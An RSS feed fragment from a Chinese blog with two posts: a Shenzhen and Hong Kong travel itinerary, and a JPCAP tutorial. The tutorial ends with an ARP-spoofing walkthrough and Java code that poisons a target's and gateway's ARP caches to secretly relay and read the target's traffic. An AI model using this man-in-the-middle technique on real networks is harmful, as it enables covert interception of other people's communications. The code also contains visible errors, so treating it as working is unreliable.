4上午起来后首先准备去海洋公园，来到地铁金顶站出来后有一路专线公交直到海洋公园门口，还是挺方便的。海洋公园里面类似大游乐园和水族馆的结合，还是很不错的。推荐每个展览馆都进去看一下，至于游乐项目就大家量力而为。到了下午旅游团来的会很多，所以到时候上山的缆车人会很多，最好能尽量避免。傍晚从海洋公园出来后回到金顶，那里有公交到半山缆车站。那个有香港百年历史的上山缆车，感觉和之前自己想象中的很不一样，原来以为是那种平常见到的几个人在一起的缆车，结果看到一个类似老式有轨电车的车厢，坐进去后整个车开始以45度左右的角度往山顶上爬去，还是很好玩的。下来后去到了杜莎夫人蜡像馆，里面有许多政治家，科学家，明星们的蜡像。感觉挺一般般，应该和上海这里的没什么区别吧。参观出来正好可以在太平山上看香港夜景，霓虹灯下的香港也别有一番韵味。从山顶下来做了次巴士，见识到了香港司机的厉害。在类似秋名山道的路上，双层巴士左扭右扭，让我总有是否正在漂移的疑惑。 Day 5从宾馆退房后再次来到了油麻地，本想来庙街看一下香港的大排档是什么样子顺便再大快朵颐。结果发现自己犯了一个大错，我们来的太早了，大排档都还没有开门&#8230;&#8230;.不过还好发现一家卖牛腩的小店，还是很不错的。吃好饭在街上随便逛了下就回到了深圳。从罗湖入关前把八达通卡推掉了，结果一算发现交通费每人用掉了200多，顿时体会香港物价的恐怖了&#8230;&#8230;.深圳还是住回了之前那家汉庭，东西放好后搭地铁来到华强路，深圳传说中赫赫有名的华强北电子市场在这里，到了晚上这里依然人流滚滚。突然发现应该在香港满大街都是却一直找不到的许留山在这里反而找到了。 Day 6起来后从宾馆出门往北走到门诊部站，大概有15分钟左右，也可以门口坐车过去，那里有车可以到大小梅沙。大小梅沙属于深圳市最好的两个海滩，大梅沙那里是一个开放的公园，没有门票，所以许多本地人喜欢去那里游泳看海。小梅沙是属于一个旅游度假地，有门票（不贵），不过里面的游乐项目和设施比大梅沙那里要多一些，还有就是人不多。自带泳衣后可以在那里玩一天。夕阳下的海滩格外的美，朝阳下的海滩呢&#8230;&#8230;这个我们就没有起那么早了&#8230;&#8230; Day 7早上起的早的话可以去尝试下国贸旋转餐厅的自助早茶，据说11点前38元一位，不过今天起太晚了。退房后顺便去看了看附近的一个美术馆，不过我是个土人，说实话看得不是很懂&#8230;&#8230;.也就当是凑凑热闹了～～～晚上搭乘飞机回到上海<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=9&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1628" class="bvMsg">
<p>正好11月要来深圳开一个会，乘着这个机会假公济私，于是乎顺便把深圳香港玩了一圈。不料正巧是万圣节，这里旅游多了一丝节日的气息。除开会议日程，整理出个旅游攻略，也算是造福后人～～～</p>
<p>Day 1<br />直接飞到深圳，然后宾馆入住。这里特别推荐汉庭快捷深圳万象城店（深圳市罗湖区嘉宾路4023号，靠近金威大厦，电话：0755.82471128）。地段特别的好，处于深圳罗湖区的中心位置。交通十分方便，门口金威大厦这里有许多公交车，往西往东步行10分钟以内分别是地铁国贸站和地铁大剧院站。购物的话附近有国贸大厦和万象城，楼下还有一家24小时的7-Eleven。酒店工作人员也挺热情的，总是在对你微笑。</p>
<p>Day 2<br />早上起床后搭乘地铁大剧院站到时间之窗站。出来就可以看到大大的世界之窗几个字。不过推荐还是先去欢乐谷，毕竟有些游乐项目下午后排队会人比较多。欢乐谷里面玩的东西很一般，特别是对于准备去香港迪斯尼或者海洋公园的人来说这个都可以省略掉。不过里面的一个叫地道战的演出很不错，加上观众互动，非常搞笑，不过每天只有两场。这里感觉来玩的人素质不是特别高，插队现象还是很严重的。欢乐谷出来后来到世界之窗，这里是一些地方的微缩模型，做的也挺一般。很搞笑的是为了配合万圣节活动，这里把科罗拉多大峡谷里面放满了骷髅&#8230;&#8230;.囧rz&#8230;&#8230;还有一点是这里可是拍出金字塔与埃菲尔铁塔同在一张照片里面的效果哦，照相爱好者不容错过。<br />PS:这里虽然有学生票出售，不过只针对深圳当地大学的大学生们，歧视啊～～～</p>
<p>Day 3<br />早上起来后去酒店旁边的金威大厦2楼迎海渔港尝试了下广东早茶，这里很网上评价的果然一样，价格很实惠而且味道很不错。服务员也很热情，不过给我们推荐的东西太多了，没有吃完&#8230;&#8230;<br />中午酒店退房后来到罗湖过关，顺便办了张八达通卡，至少先充HK150，本来还以为用不完，结果后来发现还不够用。香港这边订房可以说不幸又万幸。这几天正巧万圣节，加上有3，4个展会同时举行，市中心的酒店要么定不到，要么价格高的离谱（比平时翻了一倍）。正好网上有人代订荃湾如心海景，一间夜不到500。于是就定了那里。这里还是要推荐一下的，酒店很豪华，5星的标准，下午入住后差点被里面的设施给震撼了（我是个土人），从42楼往下望风景格外不错（如果是海景就更好了）。离地铁荃湾西5分钟的路程，除了上网收费费用有点离谱外其他一切都很完美。<br />宾馆入住后终于摆脱了沉重的背包，然后乘着天色尚早，乘地铁来到旺角。顺着弥敦道慢慢往南闲逛，路上看到一家卖叉烧的小店似乎人挺多的，就进去尝试一下，果然这里叉烧味道不同凡响。出来后又碰到顺义牛奶公司，里面的双皮奶自然也不能放过。快到油麻地时偶遇一家中华书局，跑到里面逛了一下，感慨这里真是什么书都有啊。出来后不想继续在地底穿行了，于是开始找公交车站，这几开往尖沙咀的巴士还是挺多的，随便上了一辆往尖沙咀码头的方向去了。<br />到了尖沙咀码头的时候正好有一个激光束的表演（有点类似浦东的楼上打的激光，不过这里有音乐和解说），RP还是很不错。看完表演顺着码头很快就可以来到星光大道，地上有很多香港明星的名牌，大家开始纷纷来找自己认识的合影。逛完这里后来到码头搭乘天星小轮过海到中环码头。<br />中环感觉类似浦东的陆家嘴，是个金融中心。来的时候挺晚了，大厦基本上都关门了。不过还是看到了传说的中银香港大厦和汇丰大厦，据说这两个楼还有一段风水学上的渊源，仔细一看汇丰楼上的那两个东西还真象两把手枪。夜晚十分虽然看不到商业气息，不过确实去酒吧的好时机，于是就来到兰桂坊。这里十分热闹，喝酒聊天的人们把酒吧80%以上的位置都占满了，转了转发现我们其实也不是那种喜欢泡吧的人，于是拍了几张照片后回到了酒店。</p>
<p>Day 4<br />上午起来后首先准备去海洋公园，来到地铁金顶站出来后有一路专线公交直到海洋公园门口，还是挺方便的。海洋公园里面类似大游乐园和水族馆的结合，还是很不错的。推荐每个展览馆都进去看一下，至于游乐项目就大家量力而为。到了下午旅游团来的会很多，所以到时候上山的缆车人会很多，最好能尽量避免。<br />傍晚从海洋公园出来后回到金顶，那里有公交到半山缆车站。那个有香港百年历史的上山缆车，感觉和之前自己想象中的很不一样，原来以为是那种平常见到的几个人在一起的缆车，结果看到一个类似老式有轨电车的车厢，坐进去后整个车开始以45度左右的角度往山顶上爬去，还是很好玩的。下来后去到了杜莎夫人蜡像馆，里面有许多政治家，科学家，明星们的蜡像。感觉挺一般般，应该和上海这里的没什么区别吧。参观出来正好可以在太平山上看香港夜景，霓虹灯下的香港也别有一番韵味。从山顶下来做了次巴士，见识到了香港司机的厉害。在类似秋名山道的路上，双层巴士左扭右扭，让我总有是否正在漂移的疑惑。</p>
<p>Day 5<br />从宾馆退房后再次来到了油麻地，本想来庙街看一下香港的大排档是什么样子顺便再大快朵颐。结果发现自己犯了一个大错，我们来的太早了，大排档都还没有开门&#8230;&#8230;.不过还好发现一家卖牛腩的小店，还是很不错的。吃好饭在街上随便逛了下就回到了深圳。从罗湖入关前把八达通卡推掉了，结果一算发现交通费每人用掉了200多，顿时体会香港物价的恐怖了&#8230;&#8230;.深圳还是住回了之前那家汉庭，东西放好后搭地铁来到华强路，深圳传说中赫赫有名的华强北电子市场在这里，到了晚上这里依然人流滚滚。突然发现应该在香港满大街都是却一直找不到的许留山在这里反而找到了。</p>
<p>Day 6<br />起来后从宾馆出门往北走到门诊部站，大概有15分钟左右，也可以门口坐车过去，那里有车可以到大小梅沙。大小梅沙属于深圳市最好的两个海滩，大梅沙那里是一个开放的公园，没有门票，所以许多本地人喜欢去那里游泳看海。小梅沙是属于一个旅游度假地，有门票（不贵），不过里面的游乐项目和设施比大梅沙那里要多一些，还有就是人不多。自带泳衣后可以在那里玩一天。夕阳下的海滩格外的美，朝阳下的海滩呢&#8230;&#8230;这个我们就没有起那么早了&#8230;&#8230;</p>
<p>Day 7<br />早上起的早的话可以去尝试下国贸旋转餐厅的自助早茶，据说11点前38元一位，不过今天起太晚了。退房后顺便去看了看附近的一个美术馆，不过我是个土人，说实话看得不是很懂&#8230;&#8230;.也就当是凑凑热闹了～～～<br />晚上搭乘飞机回到上海</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=9&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2008/11/08/%e6%b7%b1%e5%9c%b3%e9%a6%99%e6%b8%af%e6%97%85%e6%b8%b8%e6%94%bb%e7%95%a5/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>JPCAP——Java中的数据链路层控制</title>
		<link>http://yanxin.wordpress.com/2008/11/04/jpcap%e2%80%94%e2%80%94java%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae%e9%93%be%e8%b7%af%e5%b1%82%e6%8e%a7%e5%88%b6/</link>
		<comments>http://yanxin.wordpress.com/2008/11/04/jpcap%e2%80%94%e2%80%94java%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae%e9%93%be%e8%b7%af%e5%b1%82%e6%8e%a7%e5%88%b6/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 04:53:06 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[计算机与 Internet]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2008/11/04/jpcap%e2%80%94%e2%80%94java%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae%e9%93%be%e8%b7%af%e5%b1%82%e6%8e%a7%e5%88%b6</guid>
		<description><![CDATA[一．JPCAP简介　　众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。二．JPCAP机制　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。 　　1．NetworkInterface　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。 数据成员   NetworkInterfaceAddress[]   java.lang.String datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。 java.lang.String datalink_name 该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。 java.lang.String description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC boolean Loopback 标志这个设备是否loopback设备。 &#8230; <a href="http://yanxin.wordpress.com/2008/11/04/jpcap%e2%80%94%e2%80%94java%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae%e9%93%be%e8%b7%af%e5%b1%82%e6%8e%a7%e5%88%b6/">繼續閱讀 <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=10&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1624" class="bvMsg">
<p><strong>一．JPCAP简介</strong><br />　　众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。<br />　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。<br /><strong>二．JPCAP机制</strong><br />　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。</p>
<p>　　1．NetworkInterface<br />　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。</p>
<p>数据成员</p>
<table cellspacing="0" cellpadding="2" width="611" border="0">
<tbody>
<tr>
<td valign="top" width="125"> </td>
<td valign="top" width="161">NetworkInterfaceAddress[]</td>
<td valign="top" width="323"> </td>
</tr>
<tr>
<td valign="top" width="124">java.lang.String </td>
<td valign="top" width="161">datalink_description.</td>
<td valign="top" width="323">数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。</td>
</tr>
<tr>
<td valign="top" width="124">java.lang.String</td>
<td valign="top" width="161">datalink_name </td>
<td valign="top" width="323">该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。</td>
</tr>
<tr>
<td valign="top" width="124">java.lang.String</td>
<td valign="top" width="161">description</td>
<td valign="top" width="323">网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC </td>
</tr>
<tr>
<td valign="top" width="124">boolean</td>
<td valign="top" width="161">Loopback</td>
<td valign="top" width="323">标志这个设备是否loopback设备。</td>
</tr>
<tr>
<td valign="top" width="124">byte[]</td>
<td valign="top" width="161">mac_address</td>
<td valign="top" width="323">网卡的MAC地址，6个字节。</td>
</tr>
<tr>
<td valign="top" width="124">java.lang.String</td>
<td valign="top" width="161">Name</td>
<td valign="top" width="323">这个设备的名称。例如我的网卡名称：\Device\NPF_&#123;3CE5FDA5-E15D-4F87-B217-255BCB351CD5&#125;</td>
</tr>
</tbody>
</table>
<p>　　2．JpcapCaptor<br />　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。</p>
<p>数据成员</p>
<table cellspacing="0" cellpadding="2" width="611" border="0">
<tbody>
<tr>
<td valign="top" width="131">
<p>int</p>
</td>
<td valign="top" width="150">
<p>dropped_packets</p>
</td>
<td valign="top" width="327">抛弃的包的数目。</td>
</tr>
<tr>
<td valign="top" width="131">protected int</td>
<td valign="top" width="150">ID</td>
<td valign="top" width="327">
<p>这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。</p>
</td>
</tr>
<tr>
<td valign="top" width="132">protected staticboolean[]</td>
<td valign="top" width="150">
<p>instanciatedFlag</p>
</td>
<td valign="top" width="327">
<p>同样在官方文档中没有做任何说明，估计其为供内部使用。</p>
</td>
</tr>
<tr>
<td valign="top" width="132">
<p>protected staticint</p>
</td>
<td valign="top" width="150">
<p>MAX_NUMBER_OF_INSTANCE</p>
</td>
<td valign="top" width="327">
<p>同样在官方文档中没有做任何说明，估计其为供内部使用。</p>
</td>
</tr>
<tr>
<td valign="top" width="132">int</td>
<td valign="top" width="150">
<p>received_packets</p>
</td>
<td valign="top" width="327">
<p>收到的包的数目</p>
</td>
</tr>
</tbody>
</table>
<p>方法成员</p>
<table cellspacing="0" cellpadding="2" width="607" border="0">
<tbody>
<tr>
<td valign="top" width="133">
<p>staticNetworkInterface[]</p>
</td>
<td valign="top" width="166">
<p>getDeviceList() </p>
</td>
<td valign="top" width="305">返回一个网络设备列表。</td>
</tr>
<tr>
<td valign="top" width="133">
<p>staticJpcapCaptor</p>
</td>
<td valign="top" width="166">openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)</td>
<td valign="top" width="305">创建一个与指定设备的连接并返回该连接。<br /> 
<p>Interface：要打开连接的设备的实例；<br />Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；<br />Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用；<br />To_ms：这个参数主要用于processPacket()方法，指定超时的时间；</p>
</td>
</tr>
<tr>
<td valign="top" width="133">
<p>void</p>
</td>
<td valign="top" width="166">
<p>Close()</p>
</td>
<td valign="top" width="305">关闭调用该方法的设备的连接，相对于openDivece()打开连接。</td>
</tr>
<tr>
<td valign="top" width="133">
<p>JpcapSender</p>
</td>
<td valign="top" width="166">
<p>getJpcapSenderInstance() </p>
</td>
<td valign="top" width="305">该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。</td>
</tr>
<tr>
<td valign="top" width="133">
<p>Packet</p>
</td>
<td valign="top" width="166">getPacket()</td>
<td valign="top" width="305">捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。</td>
</tr>
<tr>
<td valign="top" width="133">int</td>
<td valign="top" width="166">loopPacket(intcount, PacketReceiver handler)</td>
<td valign="top" width="305">
<p>捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。<br />这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。<br />PacketReceiver中只有一个抽象方法void receive(Packet p)。</p>
</td>
</tr>
<tr>
<td valign="top" width="133">
<p>int</p>
</td>
<td valign="top" width="166">processPacket(intcount, PacketReceiver handler)</td>
<td valign="top" width="305">跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。</td>
</tr>
<tr>
<td valign="top" width="133">
<p>int</p>
</td>
<td valign="top" width="166">dispatchPacket(intcount, PacketReceiverhandler)</td>
<td valign="top" width="305">跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。</td>
</tr>
<tr>
<td valign="top" width="133">void</td>
<td valign="top" width="166">
<p>setFilter(java.lang.Stringcondition, booleanoptimize) </p>
</td>
<td valign="top" width="305">condition：设定要提取的包的关键字。<br />Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。</td>
</tr>
<tr>
<td valign="top" width="133">
<p>void</p>
</td>
<td valign="top" width="166">setNonBlockingMode(booleannonblocking)</td>
<td valign="top" width="305">
<p>如果值为“true”，那么设定为“non-blocking”模式。</p>
</td>
</tr>
<tr>
<td valign="top" width="133">void</td>
<td valign="top" width="166">breakLoop()</td>
<td valign="top" width="305">当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。</td>
</tr>
</tbody>
</table>
<p>　　3．JpcapSender<br />　　该类专门用于控制数据包的发送。
<p>方法成员</p>
<table cellspacing="0" cellpadding="2" width="610" border="0">
<tbody>
<tr>
<td valign="top" width="130">void</td>
<td valign="top" width="170">
<p>openRawSocket()</p>
</td>
<td valign="top" width="308">
<p>这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。</p>
</td>
</tr>
<tr>
<td valign="top" width="130"> </td>
<td valign="top" width="171">sendPacket(Packet packet)</td>
<td valign="top" width="308">
<p>JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。</p>
</td>
</tr>
</tbody>
</table>
<p>　　4．Packet<br />　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：<br />ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket</p>
<p><strong>三．使用JPCAP实现监听</strong><br />　　1．监听原理　<br />　　在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。<br />　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。<br />　　假设本机为A，监听目标为B。<br />　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。<br />　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。<br />　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。</p>
<p>　　2．用JPCAP实现监听<br />　　就如上面说的，为了实现监听，我们必须做四件事：<br />　　A．发送ARP包修改B的ARP缓存表；<br />　　B．发送ARP包修改路由ARP缓存表；<br />　　C．转发B发过来的数据包；<br />　　D．转发路由发过来的数据包；<br />　　下面我们给个小小的例子说明怎样实现。<br />      我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。</p>
<p>public class changeARP&#123;<br />　private NetworkInterface[] devices; //设备列表<br />　private NetworkInterface device; //要使用的设备<br />　private JpcapCaptor jpcap; //与设备的连接<br />　private JpcapSender sender; //用于发送的实例<br />　private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址<br />　private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址<br />　/**<br />　*初始化设备<br />　* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic <br />　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。<br />　*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new<br />　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。<br />　*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分<br />　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。<br />　*/<br />　private NetworkInterface getDevice() throws IOException &#123;<br />　　devices = JpcapCaptor.getDeviceList(); //获得设备列表<br />　　device = devices[0];//只有一个设备<br />　　jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接<br />　　jpcap.setFilter(“ip”,true); //只监听B的IP数据包<br />　　sender = captor.getJpcapSenderInstance();<br />　&#125;<br />　/**<br />　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一<br />　*段时间就发一次包重新更改B和网关的ARP表。<br />　*@参数 targetMAC B的MAC地址，可通过ARP解析得到；<br />　*@参数 targetIp B的IP地址；<br />　*@参数 gateMAC 网关的MAC地址；<br />　*/<br />　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)<br />　throws UnknownHostException,InterruptedException &#123;<br />　　this. targetMAC = targetMAC;<br />　　this. targetIp = targetIp;<br />　　this. gateMAC = gateMAC;<br />　　this. gateIp = gateIp;<br />　　getDevice();<br />　　arpTarget = new ARPPacket(); //修改B的ARP表的ARP包<br />　　arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)<br />　　arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型<br />　　arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型<br />　　arpTarget.hlen = 6; //MAC地址长度固定6个字节<br />　　arpTarget.plen = 4; //IP地址长度固定4个字节<br />　　arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址<br />　　arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP<br />　　arpTarget.target_hardaddr = targetMAC; //B的MAC地址<br />　　arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP<br />　　EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头<br />　　ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型<br />　　ethToTarget.src_mac = device.mac_address; //A的MAC地址<br />　　ethToTarget.dst_mac = targetMAC; //B的MAC地址<br />　　arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前<br />　　arpGate = new ARPPacket(); //修改网关ARP表的包<br />　　arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析<br />　　arpGate.prototype = ARPPacket.PROTOTYPE_IP;<br />　　arpGate.operation = ARPPacket.ARP_REPLY;<br />　　arpGate.hlen = 6;<br />　　arpGate.plen = 4;<br />　　arpGate.sender_hardaddr = device.mac_address;<br />　　arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();<br />　　arpGate.target_hardaddr = gateMAC;<br />　　arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();<br />　　EthernetPacket ethToGate = new EthernetPacket();<br />　　ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;<br />　　ethToGate.src_mac = device.mac_address;<br />　　ethToGate.dst_mac = gateMAC;<br />　　arpGate.datalink = ethToGate;<br />　　thread=new Thread(new Runnable()&#123; //创建一个进程控制发包速度<br />　　public void run() &#123;<br />　　　while (true) &#123;<br />　　　　sender.sendPacket(arpTarget);<br />　　　　sender.sendPacket(arpGate);<br />　　　　Thread.sleep(500);<br />　　　&#125;).start();<br />　　　recP(); //接收数据包并转发<br />　　&#125;<br />　　/**<br />　　*修改包的以太头，转发数据包<br />　　*参数 packet 收到的数据包<br />　　*参数 changeMAC 要转发出去的目标<br />　　*/<br />　　private void send(Packet packet, byte[] changeMAC) &#123; <br />　　　EthernetPacket eth;<br />　　　if (packet.datalink instanceof EthernetPacket) &#123;<br />　　　　eth = (EthernetPacket) packet.datalink;<br />　　　　for (int i = 0; i &lt; 6; i++) &#123;<br />　　　　　eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标<br />　　　　　eth.src_mac[i] = device.mac_address[i]; //源发送者为A<br />　　　　&#125;<br />　　　　sender.sendPacket(packet);<br />　　　&#125;<br />　　&#125;<br />　　/**<br />　　*打印接受到的数据包并转发<br />　　*/<br />　　public void recP()&#123;<br />　　　IPPacket ipPacket = null;<br />　　　while(true)&#123;<br />　　　　ipPacket = （IPPacket）jpcap.getPacket();<br />　　　　System.out.println(ipPacket);<br />　　　　if (ipPacket.src_ip.getHostAddress().equals(targetIp))<br />　　　　　send(packet, gateMAC);<br />　　　　else<br />　　　　　send(packet, targetMAC);<br />　　　&#125;<br />　　&#125;<br />注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。</p>
</div>
